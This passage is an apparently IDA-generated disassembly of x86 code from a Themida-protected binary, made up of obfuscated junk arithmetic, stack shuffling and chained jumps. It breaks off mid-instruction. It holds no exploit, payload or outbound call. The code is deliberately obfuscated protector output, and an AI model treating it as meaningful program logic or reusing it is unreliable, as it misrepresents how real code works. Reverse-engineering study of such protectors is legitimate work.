--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A75 loc_561CAC: ; CODE XREF: sub_569A75+8277j add cl, 0Dh sub al, cl pop ecx add al, 0A4h add al, dh sub al, 0A4h add al, 4Dh jmp loc_5719B6 ; END OF FUNCTION CHUNK FOR sub_569A75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_561CBF: ; CODE XREF: sub_5620B7+77E8j push edx push 3D53h mov [esp+18h+var_18], eax pop edx jmp loc_5707E2 ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568CD2 loc_561CCE: ; CODE XREF: sub_568CD2-76B4j push ecx jmp sub_564020 ; END OF FUNCTION CHUNK FOR sub_568CD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_561CD4: ; CODE XREF: sub_574A21-DB36j sub eax, 54C25627h sub eax, ebx add eax, 54C25627h add eax, 15D92143h push edx mov edx, 78042C51h shr edx, 5 or edx, 1526116Ch xor edx, 5DF43DC2h sub eax, 28166867h add eax, edx push edi mov edi, 4AB11721h shl edi, 7 shl edi, 2 sub edi, 31544C47h sub edi, 55AA23B6h or edi, 332D63A3h sub edi, 0D3198B3Ch add eax, edi pop edi pop edx add eax, 105D1C48h jmp loc_568CB3 ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F782 loc_561D33: ; CODE XREF: sub_56F782-5F95j add ebp, 4 jmp loc_56727C ; END OF FUNCTION CHUNK FOR sub_56F782 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D0B7 loc_561D3E: ; CODE XREF: sub_56D0B7+771Bj pop eax or eax, 0E56545Dh xor eax, 5E767459h add ebp, eax jmp loc_571759 ; END OF FUNCTION CHUNK FOR sub_56D0B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_561D50: ; CODE XREF: sub_564D26+AC14j neg edi push ebp mov ebp, 13602238h add edi, 412C404Ch sub edi, ebp sub edi, 412C404Ch jmp loc_570DCB ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561F05 loc_561D6B: ; CODE XREF: sub_561F05+7320j push 1E42h mov [esp+4+var_4], edi mov edi, esp push 6C3Ch jmp loc_5674FE ; END OF FUNCTION CHUNK FOR sub_561F05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_561D7F: ; CODE XREF: sub_570732-79EBj push 5043h jmp loc_5647FD ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_561D89: ; CODE XREF: sub_56BD44-932Fj add eax, edi sub eax, 8EB5816h jmp loc_561256 ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571289 loc_561D95: ; CODE XREF: sub_571289-8514j mov edx, eax pop eax jmp loc_5628DF ; END OF FUNCTION CHUNK FOR sub_571289 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747FA loc_561D9D: ; CODE XREF: sub_5747FA-8B5j or ebp, 37766B65h shr ebp, 7 add ebp, 7C1700DBh jmp loc_56070A ; END OF FUNCTION CHUNK FOR sub_5747FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5713A7 loc_561DB1: ; CODE XREF: sub_5713A7-7C3Aj xchg edi, [esp+0Ch+var_C] pop esp mov edx, [esp+8+var_8] sub esp, 4 mov [esp+0Ch+var_C], ebp jmp loc_5656F5 ; END OF FUNCTION CHUNK FOR sub_5713A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A423 loc_561DC3: ; CODE XREF: sub_56A423+1E89j push esi mov esi, 6A612BA8h or esi, 7ADC707Eh xor esi, 0F7E3C873h mov edx, esi jmp loc_574C67 ; END OF FUNCTION CHUNK FOR sub_56A423 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572669 loc_561DDC: ; CODE XREF: sub_572669-2BB5j push edx mov edx, 8A16AE3h add edx, 9793F9BCh mov ebx, edx pop edx jmp loc_56F8C9 ; END OF FUNCTION CHUNK FOR sub_572669 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568646 loc_561DF0: ; CODE XREF: sub_568646+6FD4j push 2229h mov [esp+0], edx jmp loc_56EC69 ; END OF FUNCTION CHUNK FOR sub_568646 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_561DFD: ; CODE XREF: sub_571F6F+322j add esp, 4 add eax, ecx pop ecx sub eax, 4 push 1F9Ch mov [esp+8+var_8], eax push [esp+8+var_4] pop eax pop [esp+8+var_8] pop esp mov [esp+0], eax push esp pop eax add eax, 4 push edi mov edi, 193A2EA8h jmp loc_572750 ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566DFE loc_561E2F: ; CODE XREF: sub_566DFE+C611j add esp, 4 and edi, 3E0229B3h jmp loc_572864 ; END OF FUNCTION CHUNK FOR sub_566DFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_561E3D: ; CODE XREF: sub_56616D+F0EFj and ecx, esi jmp loc_5659B8 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560056 loc_561E44: ; CODE XREF: sub_560056+F8CDj add eax, edi pop edi xor eax, [esp+10h+var_10] xor [esp+10h+var_10], eax xor eax, [esp+10h+var_10] mov esp, [esp+10h+var_10] pop esi push ebx sub esp, 4 mov [esp+4+var_4], edi pop ebx jmp sub_561027 ; END OF FUNCTION CHUNK FOR sub_560056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_561E61: ; CODE XREF: sub_5685B2-4C15j sub ebp, 66756B4Bh jmp loc_5653FC ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_561E6C: ; CODE XREF: sub_561418+4E27j mov [esp+8+var_8], ebp jmp loc_5751D7 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD36 loc_561E74: ; CODE XREF: sub_56BD36+6406j xor ebx, [esp+4+var_4] mov esp, [esp+4+var_4] mov eax, esi pop esi jmp loc_56F343 ; END OF FUNCTION CHUNK FOR sub_56BD36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_561E82: ; CODE XREF: sub_57354D-210j pop esi xchg eax, esi jmp loc_571BB1 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561B55 loc_561E89: ; CODE XREF: sub_561B55+16j mov edx, 480F0512h inc edx shl edx, 7 neg edx neg edx sub edx, 782897Ch mov esi, edx pop edx add ebp, esi pop esi xchg ebp, [esp+0] pop esp push edi mov edi, 12B1255Ch push eax mov eax, 446E2443h or edi, eax pop eax jmp loc_572FAE ; END OF FUNCTION CHUNK FOR sub_561B55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570CE4 loc_561EBA: ; CODE XREF: sub_570CE4-C90Bj sub eax, esi push dword ptr [esp+0] pop esi add esp, 4 push ebx push esi mov esi, 470A7F77h shr esi, 7 inc esi push ebp mov ebp, 33B1731Dh jmp loc_573840 ; END OF FUNCTION CHUNK FOR sub_570CE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_561ED9: ; CODE XREF: sub_574A21-CA82j xor ecx, edx pop edx xor ecx, 739E4720h xchg edi, ecx not edi xchg edi, ecx add ecx, 0C0A29FF6h jmp loc_562906 ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FCD7 loc_561EF3: ; CODE XREF: sub_56FCD7-922Cj push [esp+8+var_4] pop edx jmp loc_565502 ; END OF FUNCTION CHUNK FOR sub_56FCD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_561EFD: ; CODE XREF: sub_570732+48j mov [esp+0], ebp jmp loc_56226F ; END OF FUNCTION CHUNK FOR sub_570732 ; =============== S U B R O U T I N E ======================================= sub_561F05 proc near ; DATA XREF: Themida_:0055FEA4o var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056142A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00561D6B SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005640D6 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005651AD SIZE 00000045 BYTES ; FUNCTION CHUNK AT 00566B2C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005674FE SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00567FAC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00569215 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056B7E1 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056BA56 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056F0B9 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0056F48C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056FB1B SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056FD40 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00571108 SIZE 00000046 BYTES ; FUNCTION CHUNK AT 00571482 SIZE 0000000D BYTES push dword ptr [esp+0] pop eax push ebp mov ebp, esp push esi mov esi, 71A570B9h neg esi add esi, 1313353Dh jmp loc_56142A sub_561F05 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B1DC loc_561F1F: ; CODE XREF: sub_56B1DC+22D7j xor ebp, 30E9010Bh pop esi sub esi, ebp mov ebp, [esp+0Ch+var_C] jmp loc_566EFE ; END OF FUNCTION CHUNK FOR sub_56B1DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_561F30: ; CODE XREF: sub_5685B2+8310j push [esp+10h+var_C] pop eax jmp loc_56C0AB ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A608 loc_561F3A: ; CODE XREF: sub_56A608+1A08j mov esi, [esp-4+arg_0] add esp, 4 xor edx, eax jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56A608 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B11B loc_561F4A: ; CODE XREF: sub_56B11B+6477j pop esi mov ecx, eax push [esp+8+var_8] mov eax, [esp+0Ch+var_C] add esp, 4 add esp, 4 and eax, ecx push [esp+4+var_4] mov ecx, [esp+8+var_8] add esp, 4 push 6FD5h mov [esp+8+var_8], ecx mov ecx, esp push ebp push ecx mov ecx, 54F0CE2h mov ebp, 54F0CE6h xor ebp, ecx pop ecx add ecx, ebp pop ebp push esi push 4 mov esi, [esp+10h+var_10] add esp, 4 add ecx, esi jmp loc_569E4B ; END OF FUNCTION CHUNK FOR sub_56B11B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5606E3 loc_561F9C: ; CODE XREF: sub_5606E3+3C19j add esp, 4 jmp loc_56CCB7 ; END OF FUNCTION CHUNK FOR sub_5606E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_561FA4: ; CODE XREF: sub_564D26+1C4Fj mov eax, edx pop edx add [esp+0Ch+var_8], 2D1D6AF0h jmp loc_57275F ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5754DA loc_561FB4: ; CODE XREF: sub_5754DA-46CBj add esp, 4 add al, 5Ch sub al, 0E0h add al, bl push ecx mov ch, 79h add ch, 67h add al, ch pop ecx push 44BEh jmp loc_5717B7 ; END OF FUNCTION CHUNK FOR sub_5754DA ; --------------------------------------------------------------------------- loc_561FD3: ; CODE XREF: Themida_:005685D3j mov edx, [esp] add esp, 4 push edi push dword ptr [esp+4] push dword ptr [esp] pop edi add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_568B70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_561FF0: ; CODE XREF: sub_57354D-BB62j inc edx not edx sub edx, 0B3C0D47Fh add edi, edx mov edx, [esp+0Ch+var_C] add esp, 4 push ebp jmp loc_56E4A6 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_562007: ; CODE XREF: sub_56BD44-62CFj mov [esp+0Ch+var_C], ecx push [esp+0Ch+var_8] pop ecx pop [esp+0Ch+var_C] jmp loc_562A0F ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_562017: ; CODE XREF: sub_5620B7+11B6Fj add ebp, esi pop esi sub ebp, 4 xor ebp, [esp+0] xor [esp+0], ebp xor ebp, [esp+0] jmp loc_560514 ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C38F loc_56202E: ; CODE XREF: sub_56C38F+8D4Aj push eax mov eax, 3F877D40h sub eax, 7DE70520h xor eax, 0DC50B9Fh jmp loc_56CB55 ; END OF FUNCTION CHUNK FOR sub_56C38F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568646 loc_562043: ; CODE XREF: sub_568646-B31j mov ecx, esp add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop [esp+4+var_4] pop esp jmp loc_572512 ; END OF FUNCTION CHUNK FOR sub_568646 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_562060: ; CODE XREF: sub_561418+11843j add ebp, 4 xchg ebp, [esp+8+var_8] mov esp, [esp+8+var_8] add esp, 4 or ebx, ebx jnz loc_56BD4C push ecx sub esp, 4 mov [esp+0Ch+var_C], esp sub esp, 4 mov [esp+10h+var_10], edi jmp loc_566484 ; END OF FUNCTION CHUNK FOR sub_561418 ; =============== S U B R O U T I N E ======================================= sub_56208F proc near ; CODE XREF: sub_56E05C-BF01j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00569EBD SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056BBE3 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00573C94 SIZE 00000009 BYTES sub esp, 4 jmp loc_569EBD sub_56208F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747D7 loc_562097: ; CODE XREF: sub_5747D7-2D5Bj xchg eax, [esp+4+var_4] pop esp shr eax, 0Bh xor ecx, eax push 111Ch mov [esp+4+var_4], ebx xor [esp+4+var_4], 28E90DACh mov eax, [esp+4+var_4] jmp loc_5732AC ; END OF FUNCTION CHUNK FOR sub_5747D7 ; =============== S U B R O U T I N E ======================================= sub_5620B7 proc near ; CODE XREF: sub_569A75+7F47j var_18 = dword ptr -18h var_14 = dword ptr -14h var_E = byte ptr -0Eh var_A = dword ptr -0Ah var_6 = dword ptr -6 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00560156 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00560514 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00560E40 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00561557 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00561CBF SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00562017 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00562FBB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00563733 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005653D3 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005655A0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00565DDB SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00566151 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0056640D SIZE 00000024 BYTES ; FUNCTION CHUNK AT 005669EA SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056738C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005673B3 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00568B06 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00568C75 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056989A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056A82B SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0056B0E7 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056BD74 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056E434 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056ED11 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056FB51 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00570330 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005707E2 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00570955 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005710FC SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00571B0D SIZE 00000032 BYTES ; FUNCTION CHUNK AT 00571D33 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00572391 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0057389D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00573C20 SIZE 0000000B BYTES push ebx mov bh, 0C5h jmp loc_5673B3 sub_5620B7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E0CB loc_5620BF: ; CODE XREF: sub_56E0CB+49D0j shl ebx, 8 sub ebx, 0FF97FA97h sub ecx, ebx push [esp+4+var_4] pop ebx add esp, 4 add ecx, ebx add ecx, 660569h push dword ptr [esp+0] jmp loc_56AE62 ; END OF FUNCTION CHUNK FOR sub_56E0CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F1F0 loc_5620E1: ; CODE XREF: sub_56F1F0-C8A1j add esp, 4 push 56BDh mov [esp+0], ecx mov ecx, 6FEA4BA0h add edi, ecx pop ecx jmp sub_5696A1 ; END OF FUNCTION CHUNK FOR sub_56F1F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_5620FC: ; CODE XREF: sub_56BD44-B835j mov eax, 67C55F46h xor eax, 27AF737Eh jmp loc_5673DD ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5738F4 loc_56210B: ; CODE XREF: sub_5738F4-E2D9j mov [esp+0], edi mov edi, 5A407FAFh inc edi shr edi, 8 jmp loc_572CB5 ; END OF FUNCTION CHUNK FOR sub_5738F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566C83 loc_56211C: ; CODE XREF: sub_566C83+1E68j push [esp+4+var_4] pop eax jmp loc_5668FA ; END OF FUNCTION CHUNK FOR sub_566C83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56241E loc_562125: ; CODE XREF: sub_56241E+1153Bj add bx, 792Eh sub ax, bx pop ebx pop edx push edx push eax mov ax, 3807h not ax inc ax add ax, 7A84h jmp loc_56B879 ; END OF FUNCTION CHUNK FOR sub_56241E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BC97 loc_562143: ; CODE XREF: sub_56BC97-B3Dj pop esp mov [esp+0], edx mov edx, esp push edx mov edx, esp jmp loc_570066 ; END OF FUNCTION CHUNK FOR sub_56BC97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E05C loc_562151: ; CODE XREF: sub_56E05C-16D1j pop esi add esi, 4 add esi, 2 jmp sub_56208F ; END OF FUNCTION CHUNK FOR sub_56E05C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_562160: ; CODE XREF: sub_561418+7F68j or edx, 3EC139CDh dec edx xor edx, 38CF7229h add ecx, edx jmp loc_57546A ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_562174: ; CODE XREF: sub_56AEF2-6A34j mov edi, 450D4FC3h add edi, 5BBA5014h sub edi, ebp sub edi, 5BBA5014h pop ebp sub eax, edi pop edi jmp loc_56F55A ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563207 loc_562190: ; CODE XREF: sub_563207+40D9j mov ebx, 6DED1F0Fh sub eax, ebx pop ebx jmp loc_569867 ; END OF FUNCTION CHUNK FOR sub_563207 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C3E2 loc_56219D: ; CODE XREF: sub_56C3E2+4C9Aj mov edx, [esp+4+var_4] add esp, 4 xor ebp, [esp+0] xor [esp+0], ebp xor ebp, [esp+0] mov esp, [esp+0] idiv ecx push 348Fh mov [esp-8+arg_4], edx push eax pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56C3E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574AF3 loc_5621C0: ; CODE XREF: sub_574AF3-9B8Dj pop esp jmp loc_56914F ; END OF FUNCTION CHUNK FOR sub_574AF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_5621C6: ; CODE XREF: sub_567D31-4683j push eax push edi push 50920E97h pop edi shl edi, 5 xor edi, 990E780Ah mov eax, edi pop edi jmp loc_562F11 ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56749A loc_5621DF: ; CODE XREF: sub_56749A+B073j pop [esp+18h+var_18] add [esp+14h+var_14], 4 pop eax add eax, 4 add eax, 4 xor eax, [esp+10h+var_10] xor [esp+10h+var_10], eax jmp loc_566F7D ; END OF FUNCTION CHUNK FOR sub_56749A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569AB3 loc_5621FD: ; CODE XREF: sub_569AB3+44C7j add esi, 4 add esi, 4 xchg esi, [esp+8+var_8] pop esp jmp loc_570E51 ; END OF FUNCTION CHUNK FOR sub_569AB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_562212: ; CODE XREF: sub_56616D+E1C4j mov [esp-4+arg_0], ebp mov ebp, 286E7F02h or ebp, 71C45E25h add ebp, 861180DDh add esi, ebp mov ebp, [esp-4+arg_0] add esp, 4 add esi, 4 xchg esi, [esp-8+arg_4] jmp loc_56E7AA ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_56223C: ; CODE XREF: sub_561418+13C4j shl ebx, 6 push 224Bh mov [esp+14h+var_14], ebp push esp jmp loc_563C0B ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- loc_56224D: ; CODE XREF: Themida_:00569FD1j mov edi, 4 sub ebp, 5C3767D0h add ebp, edi add ebp, 5C3767D0h push dword ptr [esp] pop edi add esp, 4 add ebp, 2 jmp loc_571FE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_56226F: ; CODE XREF: sub_570732-E832j mov ebp, esp push edx mov edx, 7C561AA6h not edx jmp loc_5669F1 ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5680FB loc_56227E: ; CODE XREF: sub_5680FB+6ED2j mov ebp, [esp+0Ch+var_C] add esp, 4 jmp loc_56BF24 ; END OF FUNCTION CHUNK FOR sub_5680FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_562289: ; CODE XREF: sub_571088-F00j push esi mov esi, esp jmp loc_574C42 ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_562291: ; CODE XREF: sub_56FA15+22EEj mov esp, [esp] mov dh, cl jmp loc_5689F2 ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56102D loc_56229B: ; CODE XREF: sub_56102D+677Aj or edx, eax pop eax dec edx neg edx xor edx, 0A2023002h add esi, edx pop edx jmp loc_56786F ; END OF FUNCTION CHUNK FOR sub_56102D ; --------------------------------------------------------------------------- loc_5622AF: ; CODE XREF: Themida_:0056184Fj mov eax, 54D950A5h jmp loc_5736E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_5622B9: ; CODE XREF: sub_568E5C-6943j push eax pop ecx mov eax, [esp+8+var_8] add esp, 4 inc ecx sub esp, 4 mov [esp+8+var_8], ebx mov ebx, 70F4DEB1h sub ecx, ebx pop ebx add ebx, 45765673h add ebx, ecx push edx mov edx, 4B85061Eh shl edx, 5 neg edx jmp loc_574D22 ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E0B0 loc_5622EB: ; CODE XREF: sub_56E0B0-DB01j mov ecx, 4 add [esp+8+var_4], ecx jmp loc_571081 ; END OF FUNCTION CHUNK FOR sub_56E0B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56489B loc_5622F9: ; CODE XREF: sub_56489B+ACBAj pop ecx xor al, bh pop ebx sub esp, 4 mov [esp-4+arg_0], ecx mov ch, al jmp sub_568646 ; END OF FUNCTION CHUNK FOR sub_56489B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570E81 loc_56230A: ; CODE XREF: sub_570E81-EA68j pop edi add eax, ebp sub eax, 7F572388h push [esp+8+var_8] pop ebp add esp, 4 add eax, 4 xor eax, [esp+4+var_4] xor [esp+4+var_4], eax xor eax, [esp+4+var_4] jmp loc_56711C ; END OF FUNCTION CHUNK FOR sub_570E81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_56232F: ; CODE XREF: sub_56FA15-393Ej mov bl, ah pop eax pop edx shl bl, 8 jmp loc_56C88B ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- loc_56233B: ; CODE XREF: Themida_:0056263Ej add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] add ecx, 16B7559Fh add ecx, edi jmp loc_560E5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_56235A: ; CODE XREF: sub_57549C-34F4j mov esi, [esp+10h+var_10] add esp, 4 jmp loc_5730FD ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5733CA loc_562368: ; CODE XREF: sub_5733CA-6E7Cj sub ecx, 65DF5821h mov esi, [esp-4+arg_0] add esp, 4 push 3BC3h mov [esp-4+arg_0], edx jmp loc_562854 ; END OF FUNCTION CHUNK FOR sub_5733CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EE9F loc_562381: ; CODE XREF: sub_56EE9F+3AA0j xor ebp, esi jmp loc_561279 ; END OF FUNCTION CHUNK FOR sub_56EE9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DBD1 loc_562388: ; CODE XREF: sub_56DBD1+3858j add esp, 4 sub dword ptr [esp+0], 28A64E8Bh add [esp+0], eax add dword ptr [esp+0], 28A64E8Bh jmp loc_56DA09 ; END OF FUNCTION CHUNK FOR sub_56DBD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56241E loc_5623A1: ; CODE XREF: sub_56241E-17C6j add esp, 2 xor ax, dx pop edx xor bx, ax movzx eax, ax push small 2336h mov [esp+0], ax jmp loc_5719E7 ; END OF FUNCTION CHUNK FOR sub_56241E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_5623BB: ; CODE XREF: sub_561418+5F5Ej sub esi, 31FF0A8Ah mov edx, [esp+18h+var_18] push esi sub esp, 4 mov [esp+0], esp add dword ptr [esp+0], 4 pop esi add esi, 4 add esi, 4 xchg esi, [esp+1Ch+var_1C] jmp loc_5602DE ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_5623E7: ; CODE XREF: sub_57549C-DF1Dj mov edi, edx pop edx or edi, 4CFA4B8Eh push ebx mov ebx, 36D41C56h jmp loc_573FD4 ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- loc_5623FB: ; CODE XREF: Themida_:005655ECj mov [esp], ebp mov ebp, 4 sub ecx, ebp pop ebp jmp loc_563848 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570E81 loc_56240B: ; CODE XREF: sub_570E81+F50j add esp, 4 push edi mov edi, 7F572388h add eax, edi jmp loc_56230A ; END OF 